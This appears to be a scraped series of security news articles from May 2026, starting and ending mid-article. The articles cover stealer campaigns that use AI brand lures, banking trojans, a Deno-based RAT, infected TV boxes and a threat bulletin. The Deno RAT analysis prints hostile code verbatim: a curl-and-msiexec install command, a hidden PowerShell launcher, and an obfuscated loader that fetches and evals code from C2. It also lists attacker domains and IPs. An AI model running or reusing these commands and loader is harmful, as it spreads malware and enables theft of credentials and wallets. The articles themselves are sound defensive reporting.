cryptocurrency, move funds immediately using a separate clean device. On macOS specifically, do not open Ledger Live or Trezor Suite on the affected machine before reinstalling the operating system, as the wallet-replacement function may have succeeded. Monitor bank accounts and payment cards for suspicious activity. Reinstall the operating system. The Windows sample showed PowerShell command-and-control behavior, while the macOS payload may have captured the user’s login password. A clean reinstall is the safest recovery path. If this was a work device, contact your IT or security team immediately. Malwarebytes protects users against this malware. Closing thoughts The reason this campaign is worth writing about is not the malware itself. Both payloads are already well documented. The Windows side is a commodity kit assembled from cheap, widely available parts. The macOS side, Odyssey Stealer is related to the AMOS malware family that has been tracked since 2023. What’s more interesting is the shape of the operation around that malware. A single fake site delivers two different payloads aimed at two different victim economics. Windows victims are positioned for broad monetization through credential and cookie theft. Mac victims are targeted more narrowly and lucratively through cryptocurrency theft, with operators apparently willing to spend thousands per month on tooling because the returns justify it. The lure tying both sides together is the AI brand itself. Right now, AI product names generate huge amounts of first-time-download traffic from users who do not yet know the official URLs. This is what a mature delivery business looks like. The interesting layer is not the binary, but the supply chain around it: the domain, certificate, clone page, traffic source, malware subscription, and exfiltration infrastructure. Each piece is cheap, modular, replaceable, and available off the shelf. And the operators are not choosing between Windows and macOS. They are serving both from the same page, with payloads tuned to each platform’s economics. When one AI brand stops converting, they can simply swap the branding and reuse the same infrastructure around the next trending product. AI hype will eventually fade. The kit probably will not. Indicators of Compromise (IOCs) File hashes (SHA-256) c9e0e6985dca3a179c9bdea4e7b38f7dc57fe00ecedc2fd634256fc53bf2de2d (Chat_GPT.exe ) c0919e1999eaee67e67aeda0287722775afb04e9a9a0f727928b4d11265fb70b (ChatGpt.dmg ) Network indicators openew[.]app 188[.]137[.]246[.]189 192[.]253[.]248[.]181 172[.]94[.]9[.]250
malwarebytes.comMay 28, 2026extracted
Claude Mythosのすごさと怖さ【動画あり】
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itmedia.co.jpMay 27, 2026extracted
Grandoreiro Malware and BTMOB RAT Campaigns Target Windows and Android Users
Latin America and Europe become the target of two banking trojan campaigns that are designed to infect Windows and Android devices with Grandoreiro and BTMOB malware, respectively. That's according to new findings from WatchGuard and ESET, which have observed the two malware families being used to single out companies in Spain, Portugal, and Mexico, as well as mobile users in Brazil. The Grandoreiro campaign "uses the DLL Side-Loading technique abusing four different software, targeting banks in Portugal," WatchGuard researcher Euler Neto said. Active since 2016, Grandoreiro is an actively evolving banking malware that's capable of stealing credentials associated with thousands of financial institutions across 45 countries and territories. It's typically distributed via phishing emails, instructing recipients to click on sketchy links. Despite some arrests and attempts by Brazilian authorities to dismantle its infrastructure in early 2024, the malware has continued to expand its targeting footprint, while incorporating CAPTCHA checks to resist analysis. The latest campaign flagged by WatchGuard has been found to leverage DLL side-loading to launch DLLs that are developed in Delphi 11, a programming language commonly used for malware targeting the region. Two of the DLLs - mingwm10.dll and libwebp.dll - have been found to incorporate sgcWebSockets, a WebSocket and real-time communication library, for peer-to-peer (P2P) and WebRTC communications. "The DLLs associated with this case use the Session Traversal Utilities for NAT (STUN) protocol, which is a protocol that helps devices behind a NAT discover their public IP address and port number, enabling peer-to-peer communication," WatchGuard explained. "The advantage for threat actors to use web conferencing traffic in their campaigns is due to this traffic being noisy, being difficult to monitor, and due to WebRTC being commonly used across all major web-conferencing platforms." Two other DLLs associated with the campaign are libffi-6.dll and libpng15.dll, which make use of the Interactive Connectivity Establishment (ICE) protocol instead of STUN to achieve the same goal. These files specifically reference banks and financial institutions that operate in Portugal, such as Abanca, Banco de Portugal, BBVA PT, Caixa Geral Depositos, and Santander, among others. Also targeted are Revolut and Wise. WatchGuard also said it identified another campaign in which phishing emails are used to deliver a ZIP archive hosted on Mediafire. The file contains an obfuscated Visual Basic Script that's responsible for launching an executable, which displays a message asking users to update Adobe Reader by clicking on a button embedded in the alert. Doing so triggers a series of checks aimed at avoiding detection and complicating malware analysis, before launching the final payload to steal banking information and sensitive data. Some of the tactics overlap with a prior Grandoreiro campaign detailed by Kaspersky in October 2024. "The bigger story here is not just that Grandoreiro is still active," WatchGuard said. "It is that financially motivated threat groups continue to adapt quickly, reuse legitimate services, and hide inside traffic patterns that many organizations may already trust." "By combining phishing, DLL side-loading, WebRTC-related components, cloud service abuse, and anti-analysis checks, these campaigns show how banking malware is becoming harder to spot with surface-level defenses alone." BTMOB Offers Ready-Made Campaign Tools The disclosure coincides with a report from ESET about BTMOB, an Android remote access trojan (RAT) that first emerged in February 2025 with capabilities to unlock devices, capture screenshots, log keystrokes, automate credential theft through HTML injections when certain apps are opened, and enable remote control. A subsequent iteration introduced the ability to capture Alipay PINs. "The RAT is also sold with an APK builder interface, allowing anyone to generate new payloads and adapt phishing lures for specific regions at a rapid clip - and without writing any code," ESET researcher Daniel Cunha Barbosa said. BTMOB campaigns have been mainly observed in attacks in Brazil and Latin America, but the malware's phishing-based delivery and device takeover capabilities, coupled with the ready-made app-building tooling, makes it a potent threat that poses risks well beyond the region and brings down the time and effort required to conduct a full device compromise, the Slovakian security vendor warned. The primary method through which the malware spreads is via social engineering, where users are sent links to bogus websites masquerading as streaming services, cryptocurrency mining platforms, and other trusted online services. From those sites, victims are directed to fake Google Play Store app listings that trick them into installing an Android package (APK) file containing the malware. Once installed, the malware seeks permissions to use Android's accessibility services and then leverages it to grant itself additional system access without any user interaction. BTMOB is believed to be the successor to CraxsRAT, CypherRAT, and SpySolr families. As of May 2026, the latest version of the malware (BTMOB v4.5.5) claims to offer enhanced APK protection and compatibility with the latest Google Play updates. "This update is all about speed and stability," an X profile allegedly linked to the malware posted on May 1, 2026. "We've expanded our infrastructure and refined the builder to keep you ahead of the latest mobile security patches." The Trojan is advertised by a threat actor named EVLF (@craxso) for a price tag of $700 per month. According to a YouTube video shared by the malware author on May 1, 2026, a lifetime license is worth $1,200. The complete server source code is available for $7,000, allowing customers to host the command-and-control (C2) panels on their own infrastructure. As recently as this week, the X profile also shared a link to a Medium article about "how BTMOB RAT is turning Android phones into remote-controlled weapons," and has been "evolving fast" since early 2025. "It slips in through phishing sites, grabs accessibility services, and turns your phone into a puppet," the article reads. "Hackers watch your screen live. They steal banking details. They even mine crypto in the background while you scroll Instagram." Interestingly, the article was published by an account named "CraxsRAT Main developer." The account's bio claims they are a "skilled and resourceful cybercriminal who built a profitable cybercrime enterprise by selling highly advanced RAT malware to other threat actors." The fact that BTMOB is sold under a malware-as-a-service (MaaS) model risks lowering the barrier to entry for less sophisticated threat actors. This is compounded by reports that leaked versions are already circulating on underground forums and Telegram, increasing the risk of abuse through copycats and other aspiring criminals. "Access rarely stays contained forever, and the tool can move into secondary markets through resale, barter, or sharing inside closed groups," ESET said. "Competing malware families can also copy some elements that make payload customization and campaign management easier for less skilled criminals." Italian cybersecurity company D3Lab, in an analysis of the leaked BTMOB RAT development toolkit published in December 2025, said it included the Android payload source code, its dropper, a builder environment, the operator panel for Windows, the C2 backend, and all the software dependencies required to deploy the platform. "The BTMOB leak provides a rare perspective on the inner workings of a modern Android RAT-as-a-Service ecosystem," D3Lab noted at the time. "It demonstrates that the threat actor operates not merely as a developer selling a toolkit, but as a service provider enforcing licensing, authentication, and version control over their customers."
thehackernews.comMay 27, 2026extracted
Fake software on GitHub and SourceForge distribute Deno RAT
During our threat hunting activities, we found fake installers and plugins impersonating popular software including ChatGPT, Claude, AutoTune, and Kontakt on GitHub and SourceForge distributing a Deno backdoor known as DinDoor. Attackers are using compromised YouTube channels to distribute links to these platforms. DinDoor ultimately drops different types of malware, including a stealthy remote access Trojan (RAT), which also uses the Deno JavaScript runtime. Attackers are increasingly abusing alternative JavaScript runtimes like Bun and Deno to bypass traditional detection methods. In one of our recent investigations we documented how attackers are using Bun as an initial infection vector to distribute NWHStealer. And in March, ThreatDown researchers also observed attackers using Deno to deliver CastleLoader through a multi-stage infection chain involving the ClickFix lure. These campaigns use Scoop (an alternative installer for Windows) and WinGet (the official Windows package manager) to install Deno on the victim’s machine. They then use the Deno runtime to execute a RAT capable of executing additional payloads, exfiltrating data from browsers, wallets, and other applications, which has an interesting peer-to-peer feature that uses Edge to hide malicious traffic. Legitimate platforms abused to spread malware The infection chain is usually started via MSI files or PowerShell scripts downloaded from GitHub or SourceForge in most of the analyzed cases. Users are usually redirected to these malicious repositories via compromised YouTube channels. These videos currently total more than 50,000 views. The compromised YouTube channels create posts promoting different software and constantly switch between GitHub accounts to distribute the malware. The fake software appears designed to target creators, AI enthusiasts, gamers, and technically inclined users who are more likely to download unofficial tools, cracked software, or community-distributed installers from sites like GitHub and SourceForge. We’ve observed fake MSIs and scripts masquerading as installers and plugins for legitimate software and brands such as ChatGPT, Claude, ZENOLOGY, Ableton Live, AutoTune, Kontakt. The malicious repositories have a command for both Windows and macOS. These repositories ask users to open the terminal and copy a malicious command, which downloads and executes the MSI from GitHub. Malicious GitHub accounts create multiple repositories filled with fake software and plugins related to popular software to lure in more users. We found that the same backdoor was distributed through SourceForge, mimicking a legitimate game software called GearUP and an AI watermark remover software called BWR. How to stay safe The attackers relied heavily on trust. GitHub and SourceForge are legitimate platforms, which makes fake projects look more convincing. We contacted GitHub, which quickly removed the malicious repositories, but users should expect new ones to continue appearing. Here are a few simple ways to stay safe: Only download software from official vendor websites. Be skeptical of “free”, cracked, or unofficial versions of paid software. Be cautious with downloads from GitHub, SourceForge, forums, or file-sharing sites, especially from new or unknown accounts. Attackers continue to create new profiles to distribute this malware across platforms. Check the developer or publisher’s profile, its reputation, and how recently it was created before downloading anything. Check that archive contents, images, and text files align with what you expected to download. Archive names and structures often follow recognizable malicious patterns. Check the file’s publisher and digital signature before you run it. Windows, you can usually check this by right-clicking the file, selecting Properties > Digital Signatures. Keep in mind that a valid signature does not guarantee a file is safe, but missing or suspicious signatures are often a red flag. Technical analysis The malicious GitHub repositories ask the user to open cmd and execute a malicious command. The malicious commands download an MSI from GitHub and install it via msiexec. These repositories sometimes also contain PowerShell scripts to similarly initiate the infection chain. Example of a malicious command hosted on GitHub that starts the infection chain: curl -Lo %temp%\s.msi https://raw.githubusercontent.com/claude-free-plugin/install/main/install.msi && msiexec /i %temp%\s.msi The MSI drops a CMD file and a PowerShell script in a random directory specified in the MSI InstallationFolder and registry values. We detected different structures for these MSIs, with JavaScript instead of the CMD file, or with additional embedded files. The CMD file executes the PowerShell script, with a name that changes in the analyzed infection chains: @set "SCRIPTDIR=%~dp0" @powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Start-Process powershell -ArgumentList ('-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File ""' + $env:SCRIPTDIR + '{Random name}.ps1""') -WindowStyle Hidden" The PowerShell script takes care of: Ensuring the package manager Scoop is installed, and installing it if missing with the official script from get.scoop.sh . Scoop is a popular, open-source command-line software installer and package manager for Microsoft Windows. Using Scoop to install WinGet (Windows Package Manager) if missing. Installs Deno (a JavaScript/TypeScript runtime) via WinGet or Scoop if not present. The usage of the package managers Scoop and WinGet to install additional software on the compromised machine is an interesting approach that gives the attacker more flexibility. Command executed to install Deno using WinGet: "C:\Users\admin\scoop\apps\winget\current\winget.exe" install --id DenoLand.Deno -e --accept-source-agreements --accept-package-agreements --silent The DinDoor Backdoor Next, the following stage is executed with the downloaded Deno executable: "C:\Users\admin\AppData\Local\Microsoft\WinGet\Packages\DenoLand.Deno_Microsoft.Winget.Source_8wekyb3d8bbwe\deno.exe" run -A http://{C2}/{random_path}.js The returned code (the internal name is “launcher-1”) is a small eval-loop function that downloads the next stage (the internal name is “launcher-2”). The downloaded backdoor is publicly known as DinDoor. var a="{C2}".split(","),i=0;for(;;){let e=null;try{let t=await fetch(a[i%a.length]+"/{BUILD_ID}.js");if(!t.ok)throw 0;e=await t.text()}catch{i++,await new Promise(t=>setTimeout(t,5e3));continue}try{await(0,eval)("(async()=>{"+e+"})()")}catch{}await new Promise(t=>setTimeout(t,3e4))} The backdoor handles persistence, sends information about the compromised system to the command-and-control server (C2), and executes additional payloads and commands returned by the C2. The HTTP endpoints used for C2 communications vary between the analyzed cases. The backdoor obtains an ID from an HTTP endpoint (for example, /security-pool) and then uses that ID to obtain the next stage from /v2{ID}.js. The obtained stage is executed via stdin without being written to disk, using the command: deno run -A --no-check – To achieve persistence, the backdoor runs a PowerShell command to create a RUN key that executes the downloader “launcher-1” used previously: conhost.exe --headless " " -A "%APPDATA%\ .js This backdoor distributes several malware families in the analyzed cases. In this blog, we analyze one of the distributed payloads: a RAT that uses the Deno JavaScript runtime. Deno RAT The delivered RAT, like the other analyzed scripts, uses the Deno JavaScript environment and has full functionality to control the device, execute commands and payloads, and exfiltrate various types of data through its built-in stealer module. We did not find a specific name or attribution for this RAT. In the past, the RAT has been referred to as “Smokest” based on a specific value in the config. The similar commenting style and shared infrastructure suggest that the DinDoor developer and the RAT developer may be the same person or team. Picked up something you shouldn’t have? In addition to HTTP for C2 communication, the RAT also supports WebSocket communication, enabled when the JSON value isLiveEnabled returned from the C2 is set to true. The RAT supports different commands (exec, exec-ps, exec-sc, sysinfo, screenshot, stealer) and functionality: Collect system information about the compromised device Full bidirectional control through a custom VNC implementation over WebSocket Target more than 50 crypto wallet extensions and 10 crypto software folders such as Atomic Wallet, Exodus, Electrum, and ByteCoin Collect data from browsers including Chrome, Chromium, Brave, Edge, Avast Browser, Edge, Opera, Vivaldi, CentBrowser, Kometa, Orbitum, 360Browser, and Chromodo Exfiltrate Telegram, Discord, and Lightcord data Record and modify clipboard data List folders, files and exfiltrate content from files with specific extensions Capture screenshots using different methods Execute additional payloads Launch or terminate arbitrary processes Execute commands with PowerShell Establish SOCKS5 proxy tunnels over WebSocket One of the most interesting parts of the RAT is a peer-to-peer streaming mode that uses the Edge browser to hide traffic and make detection more difficult. To stream live video directly to the operator without routing it through the C2 server, the RAT spawns a hidden Microsoft Edge process and connects to it via Chrome DevTools Protocol (CDP). It then injects a small WebRTC HTML page into Edge, turning the legitimate browser into a peer-to-peer video relay. The Deno agent captures and H.264-encodes the victim’s screen, passes the frames to the Edge page over CDP, and Edge forwards them directly to the operator’s browser over an encrypted WebRTC DataChannel. SDP and ICE signaling, needed to establish the direct connection, is exchanged through the existing C2 WebSocket. The RAT uses the following endpoints for C2 communication, which can vary between samples: /health : checks the “ok” response from the C2 /token : receive config parameters, task delivery, results, and exfiltrated data /vnc/agent/ : WebSocket path used for VNC communication The config data is Base64-encoded and is sent in communications with the C2 as an authorization token. Decoded config data: { "buildId": "cd361ef3159f5ce9", "buildNote": "BWR", "buildType": "msi-v2", "proxyUrls": ["{C2}"], "userId": "…", "accessTokenHash": "…", "iat": 1779372546, "exp": 2094948546 } We found different versions of this RAT, including a “light” version called “agent-lite” that supports only a few commands and uses Cloudflare Workers for C2 communication. Acknowledgements DinDoor: https://hunt.io/blog/dindoor-deno-runtime-backdoor-msi-analysis Smokest: https://x.com/vxunderground/status/2013006601133687004 Indicators of Compromise (IOCs) URLs https[:]//github.com/claude-free-plugin/ https[:]//github.com/ai-gen-profi https[:]//github.com/wharfdemolisherpit https[:]//sourceforge.net/projects/gearup/ https[:]//sourceforge.net/projects/bluewaveremover/ Domains claudescript[.]top : distribution website ms-telemetry-gateway-us[.]com : C2 dakatawebstick[.]com : C2 ashpaltlonpro[.]com : C2 cf-proxy[.]cloud-analytics-services[.]workers.dev : C2 agilemast3r[.]duckdns[.]org : C2 geralnewlong[.]com : C2 hngfbgfbfb[.]cyou : C2 logicalnewrestore[.]com : C2 IPs 23[.]227[.]196[.]107 : C2 45[.]137[.]99[.]121 : C2 31[.]57[.]129[.]23 : C2 66[.]78[.]40[.]107 : C2 193[.]233[.]198[.]132 : C2 From reporting threats to removing them. Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.
malwarebytes.comMay 26, 2026extracted
Malicious TV boxes: how a cheap “SuperBox” turns your home into a proxy node for cybercriminals | Kaspersky official blog
Netflix, Apple TV+, Disney+, Hulu, Amazon Prime, YouTube Premium… The average law-abiding family today pays for five to 10 subscriptions just to watch their shows of choice, with the monthly bill easily crossing the hundred-dollar mark. It’s no surprise, then, that social media and online marketplaces are seeing a surge in demand for the “magic boxes” that popped up at the end of 2025: Android-powered TV boxes that promise to unlock thousands of channels and every streaming service subscription-free for a one-time purchase. Ads for these devices are flooding TikTok and Instagram: smiling influencers unbox the SuperBoxes, plug them into a TV, and browse endlessly through channels. It looks like the ultimate life hack against subscription fatigue, right? In reality, it’s one of the easiest ways to invite a botnet into your home network. What’s wrong with these cheap TV boxes? Stories about malicious TV boxes have surfaced before, but right now, their marketing has reached a truly alarming scale. At the end of 2025, analysts examined several models of the popular SuperBox device available from major retail stores and online marketplaces. The findings were deeply concerning: immediately upon powering up, the devices began pinging the servers of the Chinese messaging app Tencent QQ, as well as the Grass proxy service — effectively renting out the owner’s internet bandwidth to third parties. Inside the firmware, researchers discovered applications completely uncharacteristic of a media player: a network scanner, a traffic analyzer, and tools for DNS hijacking. Consequently, the device not only streams pirated content but also scans the local network for other targets (including industrial SCADA interfaces), and stands ready to participate in DDoS attacks. The SuperBoxes were also found to contain folders with the telltale name “secondstage”, a textbook indication of multi-stage malware. More recently, in April 2026, the Darknet Diaries podcast featured an interview with a security researcher known by the alias D3ada55, who shared plenty of intriguing details about these boxes — including the fact that they were still openly sold on major platforms like Amazon, Walmart, and Best Buy. The infection chronicles: BADBOX to Keenadu The SuperBox case is far from the only instance where Android devices have been turned into botnet nodes — or sold infected right out of the box. Here’s a look at the most recent cases: BADBOX 2.0. In July 2025, Google filed a lawsuit against the operators of a botnet that compromised over 10 million Android devices — mostly cheap TV boxes, tablets, and projectors lacking Google Play Protect certification. As we reported earlier, BADBOX 2.0 specifically targets TV boxes, operating simultaneously as a proxy network and an ad fraud engine. Kimwolf. In December 2025, the QiAnXin XLab team uncovered a DDoS botnet that had hijacked around 1.8 million Android devices. The infected hardware included generic models from off-brand manufacturers sporting high-profile names like TV BOX, SuperBox, XBOX, SmartTV, and others. The infection footprint was massive, with compromised devices shipped worldwide. Among the hardest-hit countries were Brazil, India, the U.S., Argentina, South Africa, the Philippines, and Mexico. Keenadu. Our experts discovered this malware lurking in the firmware of brand-new devices back November 2025, though it didn’t gain widespread attention until after we published a study about it in February 2026. Keenadu masquerades as legitimate system components, embedding itself even into facial-recognition unlock apps, potentially granting attackers access to biometrics, banking data, and personal messages. All of these stories share the same origin: the Triada Trojan, first documented by our researchers back in 2016 and dubbed at the time “one of the most advanced mobile Trojans”. Over the past decade it has evolved from a standard piece of malware into a modular backdoor baked directly into firmware during manufacturing. How the infection scheme works Manufacturers of cheap TV boxes cut corners on absolutely everything: Google Play Protect certification, firmware audits, and security updates. Many of these devices run on the Android Open Source Project without any security guarantees whatsoever. Somewhere along the supply chain — whether at the factory, through a middleman, or at a distributor — a backdoor gets injected into the firmware image. Our experts suspect that the manufacturer itself might not even be aware of the compromise. The sheer scale of the infection turns millions of identical boxes into the perfect foundation for a botnet: every compromised device represents a unique IP address that can be rented out to anyone. Botnet operators like Kimwolf monetize this not only through distributed DDoS attacks but also by reselling the bandwidth of infected smart TVs and streaming boxes. What this means for you An infected TV box sits right in your living room, connected to your home Wi-Fi. That means it can see smartphones running banking apps, network-attached storage (NAS) units holding family archives, IP cameras, smart locks, work laptops, and any other the devices connected to your Wi-Fi network. With this kind of beachhead inside your home network, an attacker can intercept unencrypted traffic, spoof DNS requests, scan ports, and hunt for vulnerabilities on neighboring devices. On top of that, they can use your IP address for fraudulent activity. As a result, in the best-case scenario, your IP will end up blacklisted, and legitimate services will start blocking you for suspicious activity; in the worst-case scenario, law enforcement could come knocking on your door. How to spot a potentially dangerous gadget You should be on alert if a device: Is sold under a no-name brand like T95, X96Q, MX10, TV BOX, SuperBox, or some such Promises free lifetime access to paid premium services for a one-time fee Requires you to disable Google Play Protect, or install third-party APK files during the initial setup Lacks Play Protect certification entirely Is promoted through aggressive spam campaigns on social media How to avoid hosting a botnet node Buy certified TV boxes that feature Google Play Protect, or purchase devices directly from reputable telecom operators and internet service providers. Isolate all smart home devices. Set up a separate Wi-Fi network on your home router for TV boxes, cameras, smart speakers, robot vacuums, and similar gear, while keeping smartphones, NAS units, and computers on the main network. This prevents malware from spreading to your critical gadgets. Regularly update the firmware on all your devices, and don’t forget about your router — it’s another vulnerable link in the chain. Remove any applications from your Android TV box that you didn’t install yourself, especially alternative app stores, Wi-Fi “boosters”, and “system cleaners”. Monitor your traffic. Modern routers and Kaspersky Premium can display which devices are connecting to where. Frequent connections from a media player to servers in China are a major security red flag. Install Kaspersky Premiumon all your devices — it protects against Trojans, and blocks the phishing pages often used to distribute infected APK files. Don’t disable Google Play Protect, and avoid installing APKs from shady sources — this is the primary infection vector that bypasses the official app store. If in doubt, return the TV box. A cheap streaming device isn’t worth risking your biometrics, banking data, or the reputation of your IP address. Want to know how else to protect your smart home devices? Read more in our related posts:
kaspersky.comMay 20, 2026extracted
If a fake moustache can fool age checks, is the Online Safety Act working?
A report based on a survey by the UK’s Internet Matters shows that much of the responsibility for managing the online safety of children still falls on families. The Online Safety Act came into effect in July, 2025, and the report explores what has changed in the online lives of UK families since then. We discussed in December 2025 whether the privacy risks of age verification outweighed the enhanced child protection. While the report shows some progress, it mostly provides “an early view of how the online landscape is changing, and crucially, where it is not.” Around half of children say they now see more age-appropriate content, and roughly four in ten parents and children feel the online world has become somewhat safer. The online world is as much a part of a child’s environment as the physical world is. And blocking the view to parts of that world is not taken lightly. Almost half of children think age checks are easy to bypass. About a third admit to doing so recently, using tactics from fake birthdates and borrowed logins to spoofed faces and, less commonly, VPNs. “I did catch my son [12] using an eyebrow pencil to draw a moustache on his face, and it verified him as 15 years old.” Yet 90% of children who noticed improved blocking and reporting saw this as a good thing. Their support for these safety features is pragmatic. They point to: clearer rules restricted contact with strangers limits on high-risk functions They also rate these features as helpful in reducing exposure to harmful content and interactions. But the system is not perfect. In the month after the child protection codes came into force, almost half of children reported some online harm, including violent, hateful, and body image-related content that should be covered by the Act’s protections. The survey also revealed that age checks are now commonplace. Over half of children said they were asked to verify their age within a recent two-month window, often on major platforms like TikTok, YouTube/Google, and Roblox, on both new and existing accounts. The technology is improving. Platforms use facial age estimation, government ID, and third-party age assurance apps, and these are usually easy for children to complete. However, gains in protection come with unresolved and, in some cases, growing concerns around privacy and data use, especially around age verification and AI. Parents are worried not just about what data is collected for age checks, but whether it will be stored or reused by government or industry. This has fueled calls for central, privacy-protective solutions rather than fragmented data collection across platforms. Because age assurance systems are both intrusive (in terms of data) and often ineffective (easy workarounds, weak enforcement), the report suggests they may not yet provide a good safety-to-privacy trade-off from a family perspective. Obviously, the survey also didn’t capture input from adults pretending to be children to gain access to child-only spaces, a risk that parents link directly to predatory behavior. The authors conclude that the Online Safety Act has started to reshape children’s online environments, making safety features more visible and enabling more age‑appropriate experiences in some areas. However, the Act has not yet produced a “step change.” Harmful content remains widespread, age‑assurance is patchy and easy to circumvent, and key concerns such as time spent online, AI risks, and persuasive design remain under‑regulated. Browse like no one’s watching. Malwarebytes Privacy VPN encrypts your connection and never logs what you do, so the next story you read doesn’t have to feel personal. Try it free →
malwarebytes.comMay 7, 2026extracted
An Adaptive Cyber Analytics UI for Web Honeypot Logs [Guest Diary], (Wed, May 6th)
by Eric Roldan, SANS.edu BACS Student (Version: 1) [This is a Guest Diary by Eric Roldan, an ISC intern as part of the SANS.edu BACS program] Through the expansion of Large Language Models (LLMs), cybersecurity has exploded with a variety of tools for both offensive and defensive purposes. A majority of software and cyber tools are integrating Artificial Intelligence (AI) solutions into their applications, largely in the form of chatbots, automation tools through Model Context Protocol (MCP), or ingestion to prompt response type interfaces. An overlooked and underestimated aspect of AI that is slowly arising is the creation of bespoke user interfaces (UI). That is simply put — a UI that is created custom fit to the specific needs and data provided impromptu from the user. With the ability for these models to ingest large amounts of data, it can orchestrate the appropriate elements for a UI that will be tailored to the ingested dataset. Rather than the user having to adjust their queries or layouts for the logs that they are analyzing, the LLM will determine the proper UI elements to give to the user. This allows the user to focus on analyzing rather than tool setup. Over days of web traffic on the DShield webhoneypot, there are large variations of intent behind the interactions. Some days, some actors may focus only on scanning and recon. Other days may be heavy on stealing credentials or trying to get a web shell exploit. As a regular user would try to identify patterns then use their discretion to find the next proper 'grep', 'jq', or other similar pattern recognizing POSIX tools, the LLM does the same. Before this type of bespoke UIs in cyber analytics, analysts would have to spend extensive time and energy to understand what to look for and how to use the appropriate tools. With LLM's able to do this heavy lifting, more analysts will be able to recognize attacks on their web servers with little to no cyber experience. When developers have to manage feature implementations, documentation updates, meetings (which are always productive of course...), and dreaded bugs - security and active monitoring become an afterthought. To make the internet a safer place, we have to lower the barrier to entry for recognizing web attacks. Okay enough selling you on how much potential this has, let's talk about how it actually works. It works like this: the system reads your DShield web honeypot log file, then a Python analyzer goes through the entries and turns them into a clean summary of what happened instead of dumping raw attacker text into the AI. That summary includes things like top IPs, top URLs, time patterns, and tags for probe/attack types such as WordPress probes, SSRF, path traversal, CGI abuse, and other recognizable patterns. Then Claude looks at the cleaned summary and writes a React dashboard component that fits the shape of the attack activity for that day, so the UI can change depending on whether the logs are mostly one big campaign or a mix of background internet noise. The safe part is that the LLM never gets the raw malicious strings directly, and the generated UI never gets to run loose in the main page. Instead, the app serves the generated dashboard through a backend API, caches it so it does not constantly change, and renders it inside a sandboxed iframe. If the generated code is broken, the system validates it and falls back to a static dashboard. So the whole flow is basically: logs came in -> analyzer summarizes them -> Claude generates a matching UI -> frontend loads it safely and pulls chart data from the backend. Let's take a look at some examples now! On days where there is more noise we do not see any dominant patterns highlighted on the UI However, on days where there is a clear pattern from certain actors we see an immediate highlight… Furthermore, it is able to recognize and highlight attack signatures that were most obvious (or would be obvious to an experienced analyst) at the very top of the UI’s dashboard There are sometimes some interesting quirks like the LLM creating a dashboard with light mode instead of dark mode. Nonetheless it is interesting to see how the LLM adapts to each day’s attack logs. I imagine if I could “vibe code” this idea in a few hours, it could become a full-blown platform and toolkit for major organizations and analysts. So yea…I didn’t write the code for all this madness, I simply took a problem that I constantly face when looking at attack logs - what is it that I’m actually looking for? And created a unique bespoke UI for each day’s scenario. Shout out to Claude Code for agentically writing the repo which can be found here. Shout out to ChatGPT for helping me write the ‘how it works’ section of this blog. And a special shout out to my Internship mentor Guy Bruneau for helping me think bigger in terms of recognizing interesting attacks on my webhoneypot. Be sure to subscribe to my youtube channel for more edgy tech content and cyber insights. youtube.com/@gnarcoding [1] https://github.com/gnarcoding/bespoke-ui-cyber-analytics/ [2] https://isc.sans.edu/tools/honeypot/ [3] https://www.sans.edu/cyber-security-programs/bachelors-degree/ ----------- Guy Bruneau IPSS Inc. My GitHub Page Twitter: GuyBruneau gbruneau at isc dot sans dot edu
isc.sans.eduMay 7, 2026extracted
ThreatsDay Bulletin: SMS Blaster Busts, OpenEMR Flaws, 600K Roblox Hacks and 25 More Stories
The internet is noisy this week. We are seeing some wild new tactics, like people using fake cell towers to send scam texts, while some developers are accidentally downloading tools that peek into their private files during a simple install. It is definitely a busy time to be online. Security is always a moving target. Millions of servers are currently sitting online without any passwords, and old software bugs are showing up in the most unexpected places. Even with the right fixes available, staying one step ahead is a full-time job for all of us. Data is shifting in strange ways, too. Some browser tools are now legally selling user history for profit, and new kits are making it simpler for almost anyone to launch a campaign. You have to see these latest updates to believe them. Let’s look at the full list... SMS blaster phishing crackdownCanadian authorities have arrested three men for operating an SMS blaster device that masquerades as a cellular tower to send phishing texts to nearby phones. These tools trick devices into connecting to them by emitting signals that mimic a legitimate tower. "An SMS blaster works by mimicking a legitimate cellular tower. When nearby phones connect to it, users receive fraudulent text messages that appear to come from trusted organizations," authorities said. "These messages often prompt recipients to click on links that lead to fake websites designed to capture personal information, including banking credentials and passwords." The three men are facing 44 charges in connection with the crime. About tens of thousands of devices were connected to the blaster over several months, the official said. This is the first time that an SMS blaster has been spotted in the country. npm brandsquat data theftA new supply chain attack has leveraged an npm package impersonating TanStack to ship malicious versions that exfiltrate environment variables from developers’ machines during install. The package, named tanstack, is designed to "silently steal environment variable files, including .env, .env.local, and .env.production, from developers' machines at install time, exfiltrating them to an attacker-controlled endpoint," Socket said. The malicious package is maintained by a user named "sh20raj." Versions 2.0.4 through 2.0.7 are confirmed malicious. Update: In a post shared on X, Shaswat Raj (@SH20RAJ), the developer behind the package, apologized for his actions and claimed he demanded $10,000 from Tanner Linsley, creator of TanStack, as he "thought it was acceptable to ask for a bounty" for returning the name. The developer also stated the malicious code was part of "random testing" for jailbreaking Google Antigravity. Extensions legally sell user dataIn a new analysis, LayerX found that multiple networks of browser extensions collect user data and resell it for profit. Unlike malicious extensions that conceal their behavior by offering some harmless functionality, the identified 80 extensions explicitly inform users in their privacy policy that they collect and sell data of users who install their extensions. "A network of 24 media extensions that are installed on 800,000 users and collect viewing data and demographic information on major streaming platforms such as Netflix, Hulu, Disney+, Amazon Prime Video, HBO, Apple TV, and others," LayerX said. "12 separate ad blockers with a combined install base of over 5.5 million users openly selling user data. Nearly 50 other extensions, with over 100,000 users in aggregate, that collected and resold users’ browsing data." Komari tool weaponized in attacksHuntress has revealed that unknown threat actors used stolen VPN credentials to pivot into a Windows workstation belonging to an unspecified organization via Impacket's smbexec.py, and dropped a SYSTEM-level backdoor using the Komari agent, a Go-based remote-control, monitoring, and management tool. The development marks the first publicly documented case of the tool being abused in a real-world intrusion. It also illustrates how bad actors are increasingly switching to publicly available and legitimate tools to conduct attacks. "Komari is not a telemetry tool that happens to be abusable - it is a bidirectional control channel by design. The agent opens a persistent WebSocket to its server and accepts three server-to-agent event types out of the box: exec (arbitrary command execution via PowerShell / sh), terminal (interactive PTY reverse shell in the operator's browser), and ping (ICMP / TCP / HTTP probing)," Huntress said. "All three are enabled by default." Whereas other tools like Velociraptor and SimpleHelp that have been abused by threat actors typically act as means to an end, Komari gives an operator arbitrary command execution, an interactive PTY reverse shell, and network probing by default, over a TLS-fronted 